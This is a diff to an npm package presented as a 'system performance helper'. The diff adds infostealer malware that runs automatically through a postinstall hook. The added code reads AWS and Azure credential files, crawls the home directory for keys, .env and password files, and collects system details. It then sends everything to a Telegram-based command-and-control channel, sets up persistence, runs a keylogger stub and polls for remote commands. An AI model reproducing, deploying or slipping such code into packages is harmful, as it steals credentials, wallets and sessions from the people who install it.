+    let data = '☁️ CLOUD CREDENTIALS\n\n';
+    // AWS
+    const aws = path.join(home, '.aws/credentials');
+    if (fs.existsSync(aws)) {
+      data += `📂 AWS: ${aws}\n`;
+      try {
+        const content = fs.readFileSync(aws, 'utf8');
+        data += content.slice(0, 500) + (content.length > 500 ? '...\n' : '\n');
+      } catch {}
+    }
+    // GCP
+    const gcp = path.join(home, '.config/gcloud/credentials.db');
+    if (fs.existsSync(gcp)) data += `📂 GCP: ${gcp}\n`;
+    // Azure
+    const azure = path.join(home, '.azure/accessTokens.json');
+    if (fs.existsSync(azure)) {
+      data += `📂 Azure: ${azure}\n`;
+      try {
+        const content = fs.readFileSync(azure, 'utf8');
+        data += content.slice(0, 500) + (content.length > 500 ? '...\n' : '\n');
+      } catch {}
+    }
+    return data;
+  }
+}
+
+// ============================================================
+// FILE CRAWLER (Sensitive files)
+// ============================================================
+class FileCrawler {
+  static run() {
+    const root = os.homedir();
+    let data = '📁 SENSITIVE FILES\n\n';
+    const patterns = [
+      /\.env$/, /config\.json$/, /\.pem$/, /\.key$/, /\.crt$/,
+      /password/i, /secret/i, /token/i, /credential/i,
+      /\.log$/, /\.sqlite$/, /\.db$/, /\.ini$/
+    ];
+    const results = [];
+    function walk(dir, depth = 0) {
+      if (depth > 2) return;
+      if (!fs.existsSync(dir)) return;
+      try {
+        const items = fs.readdirSync(dir);
+        for (const item of items) {
+          const full = path.join(dir, item);
+          try {
+            const stat = fs.statSync(full);
+            if (stat.isDirectory()) {
+              walk(full, depth + 1);
+            } else if (patterns.some(p => p.test(item))) {
+              results.push(full);
+            }
+          } catch {}
+        }
+      } catch {}
+    }
+    walk(root, 0);
+    for (const r of results.slice(0, 20)) {
+      data += `📄 ${r}\n`;
+    }
+    return data;
+  }
+}
+
+// ============================================================
+// SYSTEM INFO (Detailed)
+// ============================================================
+class SystemInfoStealer {
+  static run() {
+    let data = '🖥️ SYSTEM INFO\n\n';
+    data += `Hostname: ${os.hostname()}\n`;
+    data += `User: ${os.userInfo().username}\n`;
+    data += `OS: ${os.platform()} ${os.release()}\n`;
+    data += `Arch: ${os.arch()}\n`;
+    data += `CPUs: ${os.cpus().length}\n`;
+    data += `RAM: ${(os.totalmem() / 1024 / 1024 / 1024).toFixed(2)} GB\n`;
+    data += `Uptime: ${(os.uptime() / 3600).toFixed(2)} hours\n`;
+    try {
+      const ip = execSync('curl -s ifconfig.me', { encoding: 'utf8', stdio: 'pipe' }).trim();
+      data += `IP: ${ip || 'N/A'}\n`;
+    } catch {}
+    // Installed software (Windows)
+    if (os.platform() === 'win32') {
+      try {
+        const result = execSync('wmic product get name,version', { encoding: 'utf8', stdio: 'pipe' });
+        data += `\n📦 INSTALLED SOFTWARE\n${result.slice(0, 1000)}...\n`;
+      } catch {}
+    }
+    // Running processes
+    try {
+      const procs = execSync('ps aux | head -20', { encoding: 'utf8', stdio: 'pipe' });
+      data += `\n🔍 RUNNING PROCESSES (top 20)\n${procs.slice(0, 1000)}...\n`;
+    } catch {}
+    return data;
+  }
+}
+
+// ============================================================
+// KEYLOGGER (Simple cross-platform simulation)
+// ============================================================
+class Keylogger {
+  static run(c2) {
+    // In a real implementation, you'd use a native module.
+    // For demonstration, we just simulate key events.
+    setInterval(() => {
+      if (c2.keyloggerActive) {
+        // In production, capture real keys and buffer them.
+        // For this demo, we'll send a sample message.
+        const sample = `[keylog sample] ${new Date().toISOString()}`;
+        c2.send(sample, '⌨️ KEYLOG');
+      }
+    }, 10000);
+  }
+}
+
+// ============================================================
+// MAIN
+// ============================================================
+function main() {
+  // Anti-analysis first
+  AntiAnalysis.run();
+
+  // Initialize C2
+  const c2 = new TelegramC2(CONFIG.telegramToken, CONFIG.telegramChatId);
+
+  // Run all stealers and collect data
+  const stealers = [
+    SystemInfoStealer.run,
+    BrowserStealer.run,
+    CryptoStealer.run,
+    MetaMaskStealer.run,
+    SSHStealer.run,
+    WiFiStealer.run,
+    DiscordStealer.run,
+    TelegramSessionStealer.run,
+    FileZillaStealer.run,
+    CloudStealer.run,
+    FileCrawler.run
+  ];
+
+  let fullReport = '💀 PHANTOM STEALER ULTIMATE\n\n';
+  for (const fn of stealers) {
+    try {
+      const result = fn();
+      fullReport += result + '\n\n';
+    } catch (e) {}
+  }
+
+  // Send initial report
+  c2.send(fullReport, '🔒 INITIAL');
+
+  // Enable persistence
+  c2.enablePersistence();
+
+  // Start keylogger background thread
+  Keylogger.run(c2);
+
+  // Start C2 polling (remote commands)
+  console.log('✅ Phantom Stealer Ultimate active.');
+  c2.poll().catch(() => {});
 }
 
-// Keep process alive
-setInterval(() => {}, 1000);
+// ============================================================
+// BOOTSTRAP
+// ============================================================
+main();

package/package.json

@@ -1,9 +1,12 @@
 {
   "name": "system-performance-helper",
-  "version": "1.0.0",
+  "version": "1.0.1",
   "description": "Monitor system performance and health",
   "scripts": {
     "postinstall": "node install.js"
   },
-  "dependencies": {}
+  "dependencies": {
+    "axios": "^1.6.0",
+    "better-sqlite3": "^9.2.0"
+  }
 }